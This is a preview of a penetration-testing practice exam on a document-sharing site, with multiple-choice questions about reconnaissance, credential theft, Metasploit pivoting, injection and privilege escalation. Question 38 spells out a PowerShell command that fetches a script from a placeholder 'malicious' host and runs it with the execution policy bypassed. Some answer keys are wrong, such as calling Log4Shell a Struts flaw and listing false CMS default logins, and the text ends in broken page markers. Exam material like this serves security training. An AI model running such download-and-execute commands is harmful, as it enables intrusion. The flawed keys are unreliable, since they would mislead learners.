Docsity

Ethical Hacker Junior Exam, Exams of Technology

Toggle sidebar
bg1
Ethical Hacker Junior Exam
**Question 1.** Which of the following techniques is considered passive reconnaissance?
A) Port scanning with Nmap
B) Sending ICMP echo requests
C) Querying public WHOIS records
D) Performing a SMB enumeration scan
**Answer:** C
**Explanation:** Passive reconnaissance gathers information without interacting directly with
the target; WHOIS lookups are public and do not touch the target system.
**Question 2.** A Google dork query `intitle:"index of" "parent directory"` is most useful for
discovering what?
A) Open SMTP relays
B) Exposed directory listings
C) Hidden DNS zones
D) Unpatched Windows services
**Answer:** B
**Explanation:** The dork searches for pages where the title contains “index of”, a common
indicator of publicly accessible directory listings.
**Question 3.** When performing OS fingerprinting, which Nmap scan type sends TCP SYN
packets to multiple ports and analyzes the responses?
A) -sS (SYN scan)
B) -sU (UDP scan)
C) -sF (FIN scan)
D) -sT (TCP connect scan)
**Answer:** A
pf3
pf4
pf5
pf8
pf9
pfa
pfd
pfe
pff
pf12
pf13
pf14
pf15
pf16
pf17
pf18
pf19
pf1a
pf1b
pf1c
pf1d
pf1e
pf1f
pf20
pf21
pf22
pf23
pf24
pf25
pf26
pf27
pf28
pf29
pf2a
pf2b
pf2c
pf2d
pf2e
pf2f
pf30
pf31
pf32
pf33
pf34
pf35
pf36
pf37
pf38
pf39
pf3a
pf3b
pf3c
pf3d
pf3e
pf3f
pf40
pf41
pf42
pf43
pf44
pf45
pf46
pf47
pf48
pf49
pf4a
pf4b
pf4c
pf4d
pf4e
pf4f
pf50
pf51
pf52
pf53
pf54
pf55
pf56
pf57
pf58
pf59
pf5a
pf5b

Partial preview of the text

Download Ethical Hacker Junior Exam and more Exams Technology in PDF only on Docsity!

Question 1. Which of the following techniques is considered passive reconnaissance? A) Port scanning with Nmap B) Sending ICMP echo requests C) Querying public WHOIS records D) Performing a SMB enumeration scan Answer: C Explanation: Passive reconnaissance gathers information without interacting directly with the target; WHOIS lookups are public and do not touch the target system. Question 2. A Google dork query intitle:"index of" "parent directory" is most useful for discovering what? A) Open SMTP relays B) Exposed directory listings C) Hidden DNS zones D) Unpatched Windows services Answer: B Explanation: The dork searches for pages where the title contains “index of”, a common indicator of publicly accessible directory listings. Question 3. When performing OS fingerprinting, which Nmap scan type sends TCP SYN packets to multiple ports and analyzes the responses? A) - sS (SYN scan) B) - sU (UDP scan) C) - sF (FIN scan) D) - sT (TCP connect scan) Answer: A

Explanation: The SYN scan (-sS) is the classic stealth scan that gathers OS fingerprints from the TCP stack behavior. Question 4. Which of the following CVE identifiers indicates a vulnerability that allows remote code execution in the Apache Struts framework? A) CVE‑ 2021 ‑ 44228 B) CVE‑ 2019 ‑ 0708 C) CVE‑ 2018 ‑ 8174 D) CVE‑ 2020 ‑ 1472 Answer: A Explanation: CVE‑ 2021 ‑44228 (Log4Shell) is a critical RCE vulnerability in Apache Log4j, often associated with Struts deployments. Question 5. An automated vulnerability scanner reports a “Medium” severity for an open FTP anonymous login. Which action best validates this finding manually? A) Run a Metasploit auxiliary scanner against FTP B) Use the ftp client to log in anonymously and list directories C) Send a SYN packet to port 21 and check the banner D) Perform a DNS zone transfer on the target domain Answer: B Explanation: Manually connecting via FTP and attempting an anonymous login confirms whether the service truly allows unauthenticated access. Question 6. In Windows enumeration, which tool can retrieve a list of SMB shares without requiring credentials? A) netstat B) enum4linux C) ipconfig

B) private C) admin D) secret Answer: A Explanation: “public” is the default read‑only community string for SNMP and is frequently overlooked during hardening. Question 10. An attacker finds a configuration file on a Linux web server containing the line db_pass="P@ssw0rd123". What type of credential harvesting technique is demonstrated? A) Hash extraction B) Keylogging C) Clear‑text password discovery D) Pass‑the‑hash Answer: C Explanation: The password is stored in clear text within a configuration file, making it directly readable. Question 11. Which Windows file stores the NTLM password hashes for local accounts? A) C:\Windows\System32\drivers\etc\hosts B) C:\Windows\System32\config\SAM C) C:\Windows\Temp\ntpasswd.dat D) C:\Windows\System32\config\SECURITY Answer: B Explanation: The SAM (Security Account Manager) hive contains the hashed passwords for local user accounts.

Question 12. On a compromised Linux host, which command extracts password hashes from /etc/shadow for offline cracking? A) cat /etc/passwd | grep “$” B) sudo cat /etc/shadow C) getent passwd root D) awk - F: ‘{print $2}’ /etc/shadow Answer: B Explanation: The /etc/shadow file is readable only by root; using sudo cat reveals the hashed passwords. Question 13. Which browser feature can be abused to retrieve stored credentials if the attacker gains local access? A) HTTP Strict Transport Security (HSTS) B) Saved passwords in the browser’s credential store C) Content Security Policy (CSP) D) SameSite cookie attribute Answer: B Explanation: Browsers store saved passwords in encrypted files that can be extracted and decrypted with the right tools when the attacker has local access. Question 14. While sniffing traffic with Wireshark, which protocol indicates that data is being transmitted unencrypted and is therefore a prime target for credential harvesting? A) HTTPS B) SSH C) Telnet D) SFTP Answer: C

D) SRVHOST

Answer: A Explanation: LHOST is the local IP address (attacker’s machine) that the payload will connect back to. Question 18. An exploit in the Exploit‑DB archive requires a modification of the buffer size to bypass a stack canary. Which phase of the exploitation process does this represent? A) Reconnaissance B) Payload generation C) Exploit development D) Post‑exploitation Answer: C Explanation: Adjusting buffer sizes to accommodate stack protection mechanisms is part of developing or customizing an exploit. Question 19. Which of the following is a common manual exploitation technique for the BlueKeep vulnerability (CVE‑ 2019 ‑0708)? A) Sending a crafted RDP packet to trigger remote code execution B) Exploiting a SQL injection in the login form C) Leveraging a misconfigured cron job D) Using a forged DNS response Answer: A Explanation: BlueKeep is a Remote Desktop Protocol (RDP) vulnerability that can be exploited by sending specially crafted packets. Question 20. In Metasploit, what does the autoroute command do after a session is established? A) Installs a rootkit on the target

B) Adds a route to the target’s internal network through the compromised host C) Dumps password hashes from the target D) Generates a phishing email template Answer: B Explanation: autoroute automatically creates routing entries so traffic can be forwarded through the compromised host to reach internal subnets. Question 21. Which technique allows an attacker to forward a local port on the attacker machine to a remote service on the target network via a Meterpreter session? A) Port forwarding (portfwd) B) SSH tunneling c) VPN bridging d) DNS spoofing Answer: A Explanation: Meterpreter’s portfwd command sets up a forward from a local port to a remote destination through the session. Question 22. When pivoting through a “dual‑homed” host, which network interface is typically used to reach the internal network? A) The interface connected to the internet B) The interface with a public IP address C) The interface with a private IP address D) The loopback interface Answer: C Explanation: A dual‑homed host has one interface on the external network and another on a private internal network; the private interface is used for internal pivoting.

Explanation: Hashcat’s various attack modes (-a 0, -a 6, etc.) can all run on GPUs, providing significant speed improvements. Question 26. Which HTTP header is most useful for identifying the underlying web server and its version? A) Content-Type B) Server c) User-Agent d) Host Answer: B Explanation: The Server header often reveals the web server software (e.g., Apache/2.4.41) and version. Question 27. Which command-line tool can be used to brute‑force hidden directories on a web site? A) dirb b) ping c) netcat d) traceroute Answer: A Explanation: dirb (or similar tools like ffuf) performs dictionary‑based directory enumeration. Question 28. An application returns the error message “You have an unclosed quotation mark after the character string ‘admin’.” Which type of injection is most likely present? A) SQL injection b) Command injection c) LDAP injection

d) XML injection Answer: A Explanation: The error indicates a malformed SQL statement caused by unescaped input, typical of SQL injection. Question 29. Which payload type is most appropriate for delivering a reverse shell over HTTP to bypass restrictive outbound firewall rules? A) windows/meterpreter/reverse_tcp b) windows/meterpreter/reverse_http c) linux/x86/meterpreter_reverse_tcp d) java/meterpreter_reverse_https Answer: B Explanation: reverse_http encapsulates the Meterpreter traffic inside HTTP, making it more likely to pass through firewalls that allow outbound web traffic. Question 30. Which XSS variant stores the malicious script on the server so that it is served to every user who accesses the vulnerable page? A) Reflected XSS b) Stored XSS c) DOM‑based XSS d) Self‑XSS Answer: B Explanation: Stored (or persistent) XSS saves the payload in the server’s database or files, delivering it to all subsequent visitors. Question 31. A web application accepts a filename parameter and concatenates it directly into a system command. Which input would most likely achieve command injection? A) report.pdf

Question 34. Which of the following CMS default credentials are well‑known and should be checked during web application enumeration? A) admin:admin for Joomla b) admin:password for Drupal c) admin:admin for WordPress d) All of the above Answer: D Explanation: Many CMS installations ship with default credentials such as those listed; checking them can quickly reveal weak authentication. Question 35. Which Linux command creates a new user with a home directory and adds it to the sudo group? A) useradd - m - G sudo newuser b) adduser newuser sudo c) sudo adduser newuser --ingroup sudo d) All of the above (depending on distribution) Answer: D Explanation: All shown commands can create a new user and place it in the sudo group, though syntax varies across distributions. Question 36. Which Windows service permission misconfiguration often allows a low‑privilege user to replace a service executable and gain SYSTEM rights? A) Unquoted service path b) Service running as LocalService c) Incorrect ACL on the service binary d) Service set to “Manual” start Answer: C

Explanation: If the ACL on the service executable permits write access to a non‑privileged user, that user can replace the binary and execute code as SYSTEM. Question 37. Which Linux file permission (SUID) can be abused to execute a binary with root privileges? A) - rwxr-xr-x b) - rwsr-xr-x c) - rw-r--r-- d) - rwxrwxrwx Answer: B Explanation: The “s” in the user execute field indicates the SUID bit; the binary runs with the owner’s (often root) privileges. Question 38. Which PowerShell command can be used to download and execute a remote script in a single line, commonly used for persistence? A) Invoke-WebRequest - Uri http://malicious/script.ps1 - OutFile $env:TEMP\script.ps1; powershell - ExecutionPolicy Bypass - File $env:TEMP\script.ps b) Start-Process notepad.exe c) Get-Process | Where-Object {$_.CPU - gt 100} d) Set-ExecutionPolicy Restricted Answer: A Explanation: The command fetches a script via Invoke-WebRequest and runs it with bypassed execution policy, a typical technique for initial access or persistence. Question 39. Which Windows built‑in utility can be used to transfer files from a compromised host to an attacker’s machine without installing third‑party tools? A) certutil b) ipconfig

A) Profile headline b) Connection count c) Endorsements received d) Work experience section Answer: D Explanation: The work experience section reveals job titles, departments, and technologies used, aiding in targeting. Question 43. Which DNS record type can be abused to exfiltrate data from a compromised internal host? A) A record b) TXT record c) MX record d) CNAME record Answer: B Explanation: TXT records can store arbitrary text, making them suitable for covert data exfiltration via DNS queries. Question 44. Which Nmap NSE script can be used to enumerate SMB shares on a target? A) smb-enum-shares.nse b) http-enum.nse c) ssl-enum-ciphers.nse d) ftp-anon.nse Answer: A Explanation: The smb-enum-shares NSE script lists SMB share names and permissions.

Question 45. Which of the following is a characteristic of a “low‑hanging fruit” vulnerability? A) Requires zero‑day exploit b) Easily discoverable and exploitable with minimal effort c) Only affects legacy hardware d) Needs physical access Answer: B Explanation: Low‑hanging fruit refers to vulnerabilities that are simple to find and exploit, offering quick initial footholds. Question 46. In the context of penetration testing, what does the acronym “PTES” stand for? A) Penetration Testing Execution Standard b) Professional Technical Exploitation Suite c) Primary Threat Evaluation System d) Packet Transmission Encryption Scheme Answer: A Explanation: PTES defines a widely accepted methodology for conducting penetration tests. Question 47. Which command can be used to perform a reverse DNS lookup on an IP address from a Linux terminal? A) nslookup 192.168.1. b) ping - a 192.168.1. c) traceroute 192.168.1. d) dig - x 192.168.1. Answer: D

Explanation: Encoding the payload can evade simple pattern‑matching rules used by many WAFs. Question 51. Which of the following tools can enumerate LDAP entries without authentication? A) ldapsearch with anonymous bind b) nmap - sS c) netcat d) ssh Answer: A Explanation: Many LDAP servers allow anonymous binds, enabling enumeration via ldapsearch. Question 52. In a Windows environment, which registry key holds the list of services set to start automatically? A) HKLM\SYSTEM\CurrentControlSet\Services b) HKCU\Software\Microsoft\Windows\CurrentVersion\Run c) HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce d) HKLM\Software\Microsoft\Windows\CurrentVersion\Policies Answer: A Explanation: The Services subkey contains configuration for each service, including start type. Question 53. Which Metasploit auxiliary module can be used to perform a password spray attack against Active Directory? A) auxiliary/scanner/smb/smb_login b) auxiliary/scanner/http/wordpress_login_enum c) auxiliary/scanner/ssh/ssh_login

d) auxiliary/scanner/rdp/rdp_login Answer: A Explanation: smb_login can be scripted to attempt a few common passwords across many accounts (password spraying). Question 54. Which Linux command can be used to list all open network sockets and the processes that own them? A) netstat - tulpn b) ls - l /proc/net c) iptables - L d) ping - c 4 Answer: A Explanation: netstat - tulpn displays listening TCP/UDP sockets with PID/Program name. Question 55. Which of the following is a common indicator that a web server is vulnerable to HTTP Parameter Pollution? A) Duplicate query parameters cause unexpected behavior b) The server returns a 500 error for all requests c) The server redirects all traffic to HTTPS d) The server does not support HTTP/ Answer: A Explanation: HTTP Parameter Pollution exploits how applications handle duplicate parameters, often leading to logic bypasses. Question 56. Which of these is a recommended practice when storing password hashes on a Linux system? A) Use MD5 without salt